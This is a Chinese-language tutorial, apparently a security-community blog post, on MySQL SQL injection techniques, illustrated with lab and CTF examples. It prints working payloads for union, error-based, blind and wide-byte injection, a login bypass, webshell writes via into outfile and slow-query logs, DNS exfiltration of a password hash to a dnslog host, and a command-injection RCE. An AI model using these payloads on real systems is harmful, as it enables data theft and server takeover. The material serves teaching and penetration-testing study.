本文来自 【网络安全学习圈】圈内师傅的学习成果,已将其入圈费用返还,如果你也想一块学习,欢迎加入。圈内规划了数个月的学习内容,并提供相应的学习资源和建议,以及一个浓厚的学习氛围。(点我了解详情)

产生原因
服务器将用户提交的参数错误地拼接到sql语句中,打破了数据区域的边界(数字型不需要)改变了原有的sql执行逻辑,导致攻击者可以执行恶意的sql语句。
简单的例子
假设
$sql="select * from users where id='$id';"
用户提交
?id=1' and 1=1 #
拼接后的sql语句
select * from users where id='1' and 1=1 #'
要进行注入,只需要将and 1=1部分替换为其他sql语句即可。
其实分析
sqlmap的注入也是如此,注入语句由prefix,payload和suffix组成
图来源https://www.freebuf.com/column/161797.html

image-20230522131723064
漏洞危害--攻击面
-
• 拿到敏感信息,如手机号,身份证,邮箱,家庭地址等
-
• 后台账号
万能密码?这年头还有吗🤔
拿到密码,但是一般密码都是加盐再加密的了吧,需要彩虹表啥的。
或者堆叠注入创建一个,修改一个等 -
• 文件任意读取
-
• Getshell
-
• RCE
-
• 提权
如何利用
信息收集

image-20230522131900429
站库分离
为什么
站库分离,所以不能通过数据库进行读写
判断方法
-
• 通用方法读取配置文件,判断IP
-
• Mysql
select @@hostname; //服务端主机名称 select * from information_schema.PROCESSLIST; //客户端主机名称和端口Windows连接格式:主机名:PortLinux连接格式:IP:Port本地连接格式:localhost:Port

image-20230522203905326
select user();如果不是localhost,大概率是站库分离。
image-20230522204233420
数据库类型

各种信息
# ifnull(@@secure_file_priv,0) secure_file_priv为空时返回0,不为空时返回其值
SELECT concat_ws(0x0a,
ifnull(@@secure_file_priv,0),
concat_ws(0xefbc8c, @@version, @@version_compile_os, @@version_compile_machine, @@version_comment),
concat_ws(0xefbc8c, @@hostname, @@port),
concat_ws(0xefbc8c, user(), database()),
concat_ws(0xefbc8c, @@datadir, @@plugin_dir, @@tmpdir, @@basedir)
)
# 结果
0
10.5.8-MariaDB-3,debian-linux-gnu,x86_64,Debian buildd-unstable
kali,3306
root@localhost
/var/lib/mysql/,/usr/lib/mysql/plugin/,/tmp,/usr
判断
注入点
一切与数据库有交互的地方,取决于后端从HTTP请求报文中提取了什么数据并拼接到sql语句中。
是否存在sql注入
-
• 字符型or数字型:fuzz闭合类型
-
• 是否有报错,是否能逃逸执行sql语句(逻辑,延时等判断)
后端语句
# 得到后端执行的sql语句
select * from test.users where id=1 union SELECT (select INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE INFO LIKE '%673245283%' LIMIT
1),2,3;

image-20230528210843123
Mysql注入手段
admin登入
-
• 万能密码
# 后端代码Demo通过布尔运算让where恒为真
$query = "SELECT * FROM manage WHERE user='$user' and passwd='$passwd'";
if(mysql_query($query))
{
echo "登陆成功";
}
image-20230312212035948
-
• 注册覆盖
admin (有个空格)或者 (有个空格)admin原理:用户名字段长度>5,所以可以添加空格,而sql语句执行时会将空格忽略。

image-20230312210909402
-
• 联合查询构造临时用户
[GXYCTF2019]BabySQli# 后端代码Demo
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);
if (!mysql_num_rows($result)) {
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}
else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}
echo "登陆成功";username=admin' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b' limit 1,2--+
passwd=c4ca4238a0b923820dcc509a6f75849b
MD5(1)=c4ca4238a0b923820dcc509a6f75849b
image-20230312215147770
联合查询注入
原理
sql语句为select,页面有回显查询结果。
$sql="SELECT * FROM users where id=$id ";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
payload
先通过order by等语句判断列数,再判断哪一列是输出点,最后进行注入
联合查询,获取库名
?id=-1"union select 1,2,group_concat(schema_name),3 from information_schema.schemata#
联合查询,获取表名
?id=-1"union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'#
?id=-1"union select 1,2,group_concat(table_name) from mysql.innodb_table_stats where database_name='已知库名'#
联合查询,获取字段名
?id=-1"union select 1,2,group_concat(column_name) from information_schema.columns where table_name='已知表名'#
联合查询,获取字段值
?id=-1"union select 1,2,group_concat(字段1,字段2...) from 已知表名#
注意:
因为后端查询语句可能只拿第一行查询结果如
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";,所以需要构造一个不存在的值如-1,使得联合查询的结果成为第一行;要查的表的名称(这个表是不是在现在使用的数据库中,没有的话表名=数据库.表名)
堆叠注入
原理
后端使用的查询函数为
mysqli_multi_query(),支持多条语句查询而不是
mysqli_query(),仅支持一条语句查询
局限性
-
• 并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎的影响
-
• 无回显:在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略解决方法:可以通过先将内容插入到数据库中,然后再通过查询查出来
payload
?id=1';sql语句;--+
可以任意执行sql语句,危害很大
配合handle绕过关键字
handler 表名 open ; handler 表名 read first; #打开表;读取第一条数据
handler 表名 read next;#与上一条语句一起用,读取下一条即第二条数据
【MySQL】MySQL 之 handler 的详细使用及说明[1]
配合预编译语句绕过
使用格式
set @tn = 'hahaha'; //存储表名
set @sql = concat('select * from ', @tn); //存储SQL语句
prepare query from @sql; //预定义SQL语句
execute query; //执行预定义SQL语句
(DEALLOCATE || DROP) prepare sqla; //删除预定义SQL语句
例题
[SUCTF 2018]MultiSQL
set @sql=select '<?php eval($_POST[khaz]);?>' into outfile '/var/www/html/favicon/shell3.php';prepare name from @sql;execute name;
转换脚本
a = "select '<?php eval($_POST[khaz]);?>' into outfile '/var/www/html/favicon/shell3.php'"
b = []
for i in a:
b.append(str(ord(i)))
c=','.join(b)
res = 'char({})'.format(c)
print(res)
payload
set @sql=char(117,112,100,97,116,101,32,115,99,111,114,101,32,115,101,116,32,108,105,115,116,101,110,61,50,48,48);prepare query from @sql;execute query;
报错注入
原理
使用mysql_error()函数,可以返回上一个Mysql操作产生的文本错误信息。
<?php
$con = mysql_connect("localhost","wrong_user","wrong_pwd");
if (!$con)
{
die(mysql_error());
}
>>
Access denied for user 'wrong_user'@'localhost'
(using password: YES)
类型
最常用的
# Xpat语法错误,报错信息是有长度限制的,最大长度限制32位,配合substr()等截取字符串函数使用
select extractvalue(1,concat(0x7e,(select user()),0x7e));
select updatexml(1,concat(0x7e,(select user()),0x7e),1);

image-20230523184243091
其他MySQL报错注入 [2]
payload
原型:
?id=1"or(updatexml(1,concat(0x7e,(),0x7e),1))--+
爆库:
?id=1"or(updatexml(1,concat(0x7e,(select(substr(group_concat(schema_name),1,32))from (information_schema.schemata)),0x7e),1))--+
爆表:
id=1"or(updatexml(1,concat(0x7e,(select(substr(group_concat(table_name),1,32))from (information_schema.tables)where(table_schema='已知库名')),0x7e),1))--+
爆列名:
id=1"or(updatexml(1,concat(0x7e,(select( substr(group_concat(column_name),1,32)))from(information_schema.columns)where(table_name='flag'))),1))--+
爆字段值
id=1"or(updatexml(1,concat(0x7e,(select( substr(group_concat(real_flag_1s_here),1,6)))from(users))),1))--+
二次注入--存储型注入
原理

ctf1
常见转义函数
addslashes()
mysql_escape_string()
以sql-labs Less-24为例
创建用户
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
使用不恰当的函数mysql_escape_string,功能为在 MySQL 中具有特殊含义的字符(如单引号、双引号、反斜杠和空字节)前添加反斜杠字符。所以脏数据还是进入到了数据库中。
修改密码处
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
直接将脏数据取出并拼接到sql语句中,造成了sql注入。
常见场景
将保存的脏数据从数据库中取出,再次进行sql操作的场景。
修改密码
修改订单
总之就是修改已保存信息的地方
例题
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
$address = addslashes($_POST["address"]);#可控变量
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";#将$_POST["address"]保存到数据库中
$row = $fetch->fetch_assoc();#$row保存sql语句查询结果
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];#调用了查询结果
分析上面两条语句,对可控参数address只进行了转义处理,就保存到数据库中。
并且在update中引用了$row['address'],所以在这里存在二次注入。
可以看到列名为old_address,在进行修改时,会将旧地址保存下来,所以我们只要在第一次修改时,在address处注入恶意代码,第二次修改查询旧地址时就会执行恶意代码。
payload
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
盲注--无回显注入
推荐阅读:https://www.anquanke.com/post/id/266244
布尔盲注
页面无数据回显,但是有两种返回状态
?id=1' and 1=1 --+ # True
?id=1' and 1=2 --+ # False
实际
?id=1' and 1=子查询 --+
子查询=字符串截取+比较
绕过
and 1=
| 逻辑连接符 | payload |
| 或 | or ,|| |
| 异或 | xor,^ |
| 按位与/或 | &,| |
字符串截取
# 从start位置开始,截取len个字符
substr(string,start,len)
mid(string,start,len)
# 从左/右截取len个字符
left(string,len)
right(string,len)
比较
like binary 0x25{}{}25

image-20230505230426015
因为大小写不敏感,所以要用
binaryBINARY将16进制转化为字符串
语法
| like | 正则 |
| _ | . |
| % | .* |
| [] | [] |
| [^] | [^] |
regexp "^a"
regexp "^ab"
时间盲注
时间盲注就是在布尔盲注上加了延迟时间函数sleep(),用在True和False回显难以区分时,通过页面的响应时间来判断布尔逻辑的正确与否。
payload
if(布尔,A,B)与三目运算符逻辑一样,加上sleep函数
sleep(if(布尔,A,B))布尔正确,延迟A秒,布尔错误,延迟B秒
或者 if(布尔,1,sleep(x))布尔正确,无延迟,布尔错误,延迟x秒

image-20230312232840696
绕过
能造成延时效果的语句
# 通过执行多次命令形成延时
benchmark(执行次数,sql语句)
# 查询一些数据量比较大的表做笛卡尔集运算,导致查询缓慢
select * from tab1 cross join tab2;
select * from tab1,tab2;
脚本
盲注都是需要脚本的,或者用sqlmap
DNS外带注入
推荐阅读:Dnslog在SQL注入中的实战-安全客 - 安全资讯平台[3]
原理
-
1. MySQL Load_File()函数可以发起请求,使用Dnslog接收请求,获取数据;
-
2. windows下存在
UNC路径UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。
\\xxxx\xx
image-20230425175525555
image-20230425175452805
使用条件
-
• windows系统
-
•
secure_file_priv为空
payload
union select 1,2,load_file(CONCAT('\\\\',(SELECT hex(passwd) FROM users WHERE username='admin' LIMIT 1),'.mysql.2fzz61.dnslog.cn\\abc'))
-- Hex编码的目的是减少干扰,域名有一定的规范,有些特殊字符不能带入
-- \\\\转义 → \\
SMB外带注入
http://www.moonslow.com/article/smb_sql_injection
宽字节注入
原理
From:https://cloud.tencent.com/developer/article/1938545
宽字节:如果一个字符的大小是两个字节的,该字符称为宽字节字符
PHP与Mysql之间的交互

img
将php的sql语句以character_set_client编码(也就是转为16进制数),再将16进制数以character_set_connection进行编码(也就是转换为url编码),然后以内部操作字符集进行url解码,最后以character_set_results编码输出结果。
%df%27 浏览器url自动解码===> β' 转义===>β\'转为16进制===> 0xdf0x5c0x27 转换为url编码===> %df%5c%27 进行url解码(因为是GBK编码,%df和%5c结合为汉字)===> 運'
例题
sql-lab less-32
转义字符

image-20230522170722857
设置编码集

image-20230522170750335
sql语句,单引号闭合

image-20230522171701503
?id=1%27

image-20230522171728569
?id=1%df%27

image-20230522171841053
payload
?id=1%df'
使用 Linux 自带的 iconv 命令进行 UTF 的编码转换
echo \'|iconv -f utf-8 -t utf-16
echo \'|iconv -f utf-8 -t utf-32

image-20230523121013028
?id=1�'

image-20230523121159948
order by 注入
https://www.cnblogs.com/1ink/p/15107674.html
Getshell
写文件
条件
-
• 高权限
select user, file_priv from mysql.user;
image-20230528210141344
-
• 知道网站的绝对路径
-
•
secure_fil_privselect @@secure_file_priv;
show global variables like '%secure_file_priv%'; # show语句要堆叠注入和回显

image-20230522174929267
payload
基于联合查询
select *from users where id=1 union select 1,'<?php phpinfo();?>',3 into outfile 'C:\info.php';
select *from users where id=1 union select 1,'<?php phpinfo();?>',3 into dumpfile 'C:\info2.php';
outfile和dumpfile的区别
-
•
outfile导出数据支持多行,dumpfile只支持一行 -
•
outfile会对数据进行转义,dumpfile不会
所以使用into dumpfile这个函数来写入二进制文件

image-20230522180009679
非联合查询
select *from users where id=1 into outfile 'C:\info.php' fields terminated by '<?php phpinfo();?>';
select *from users where id=1 into outfile 'C:\info2.php' lines terminated by '<?php phpinfo();?>';

image-20230522180543767
写入日志文件
# --查看配置,日志是否开启,和mysql默认log地址(记下原地址方便恢复)
show variables like '%general%';
set global general_log = on;
set global general_log_file = 'e:\info.php'; # 这里日志创建权限要低一些,不能在c盘创建
select '<?php phpinfo();?>';
--结束后,痕迹清理
日志慢查询
From:https://wiki.wgpsec.org/knowledge/web/mysql-write-shell.html
为什么要用慢查询写呢?因为开启日志监测后文件会很大,网站访问量大的话我们写的shell会出错
show variables like '%slow_query_log%'; --查看慢查询信息
set global slow_query_log=1; --启用慢查询日志(默认禁用)
set global slow_query_log_file='C:\\phpStudy\\WWW\\shell.php'; --修改日志文件路径
show global variables like '%long_query_time%';
--查看默认时间值,当sql语句执行时间超过该值才会被计入日志中,默认10秒
select '<?php @eval($_POST[abc]);?>' or sleep(@@long_query_time+1); --写shell到慢查询日志

image-20230522182142555
sqlmap --os-shell
-
• 大致流程
获取目标信息→使用lines terminated by将具有文件上传的🐎上传到网站→逐级目录访问找到🐎
→通过该🐎上传真正的命令🐎→测试命令🐎能否执行→删除上传的两个🐎 -
• 文件上传🐎:form表单
-
• php命令马:获得
disable_function,遍历所有代码执行,命令执行函数,判断哪一个不在disable_function。
读文件
LOAD DATA LOCAL---任意读取
脚本
https://github.com/allyshka/Rogue-MySql-Server
原理和攻击思路
CSS-T | Mysql Client 任意文件读取攻击链拓展[4]
文件读取
Phar文件,造成php反序列化
条件
-
• 客户端必须启用LOCAL-INFILE
连接时参数--local-infile=OFF 可以修复,或者更改全局变量local_infile(我在5.7下参数可以,更改全局变量不行??) -
• 客户端支持非SSL连接
连接时参数--ssl-mode=VERIFY_IDENTITY 可以修复 -
• 目标web存在连接数据库的功能
数据库弱口令扫描,连接检查
网站重装漏洞(需要连接数据库)
数据迁移服务
Excle从数据库中同步数据到表格内
实验环境
客户端与服务端的mysql都是5.7版本
mysql5.7默认开启

image-20230523163445312
注:一开始使用服务端使用8版本不行
攻击者(服务端)起脚本

image-20230523162503899

image-20230523162623757
受害者连接

image-20230523162534773
攻击者查看mysql.log

image-20230523162727437
load_file
注意:转义字符
select load_file('e:\test.txt'); # \t 错误路径
select load_file('e:\\test.txt');# 正确
select load_file(0x653A5C746573742E747874);# 支持十六进制
select load_file(char(101,58,92,116,101,115,116,46,116,120,116));# 支持char函数

image-20230523134023401
load data
create table user(cmd text)
load data infile 'e:/test.txt' into table user;
select * from user;

image-20230523134532606

image-20230522220456619
mysqldump
shell下执行
mysqldump -uroot -proot --all-databases > file_path # 导出所有数据库
mysqldump -uroot -proot --databases db1 --tables a1 a2 > /file_path # 导出db1中的a1、a2表
导出的文本内容
创建数据库判断语句-删除表-创建表-锁表-禁用索引-插入数据-启用索引-解锁表

image-20230528204837541
例题
CISCN2023初赛--dumpit
关键代码
$black = ';`*#^$&|'; #黑名单
$db=$_GET['db'];
$t2d=$_GET['table_2_dump'];
$randstr = md5(time());
$dump='mariadb-dump '.$db.' '.$t2d.' >./log/'.$randstr.'.log';
system($dump);
db和table都可控,过滤不严谨,并且直接拼接到命令中,造成RCE
payload
?db=ctf&table_2_dump=flag2 %0d%0a cmd
提权
国光师傅✍的太好辣,等到后面学习windows提权再复现吧😋
https://www.sqlsec.com/2020/11/mysql.html
Linux的Mysql--好像没用
help查看mysql帮助

image-20230522205545396
假想:如果存在堆叠注入,就可以以当前数据库用户权限任意命令执行

image-20230522205812501
测试了一下好像不行

image-20230522223047561
并且此方法只能在本地读取,远程连接mysql时使用system,实际上还是在原来的主机上执行命令。
kali连接远程mysql,system uname -a

引用链接
[1] 【MySQL】MySQL 之 handler 的详细使用及说明: https://blog.csdn.net/qq_43427482/article/details/109898934[2] MySQL报错注入 : https://hatboy.github.io/2018/08/28/MySQL报错注入/[3] Dnslog在SQL注入中的实战-安全客 - 安全资讯平台: https://www.anquanke.com/post/id/98096[4] CSS-T | Mysql Client 任意文件读取攻击链拓展: https://paper.seebug.org/1112/[5] mysql 8.0.21以上版本的新特性: https://blog.csdn.net/rfrder/article/details/118726022[6] 奇安信攻防社区-SQL注入&预编译: https://forum.butian.net/share/1559[7] PDO场景下的SQL注入探究 - 先知社区: https://xz.aliyun.com/t/3950[8] ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析 | 离别歌: https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html[9] sqlmap 项目剖析1: https://www.anquanke.com/post/id/262848[10] sqlmap 项目剖析2: https://www.anquanke.com/post/id/262847[11] sqlmap 项目剖析3: https://www.anquanke.com/post/id/262849[12] sqlmap 项目剖析4: https://www.anquanke.com/post/id/262850[13] sqlmap源码分析与学习: https://www.beysec.com/security/sqlmap-source-1.html[14] sqlmap 流程脑图: https://www.processon.com/view/5835511ce4b0620292bd7285[15] sqlmap --os-shell原理: https://xz.aliyun.com/t/7942[16] 实战sqlmap绕过WAF: https://xz.aliyun.com/t/10385[17] sqlmap --os-shell反制小思路: https://www.anquanke.com/post/id/261915
技术交流
知识星球
致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。
涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 300+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。

交流群
关注公众号回复“加群”,添加Z2OBot好友,自动拉你加入Z2O安全攻防交流群(微信群)分享更多好东西。(QQ群可直接扫码添加)



222

被折叠的 条评论
为什么被折叠?



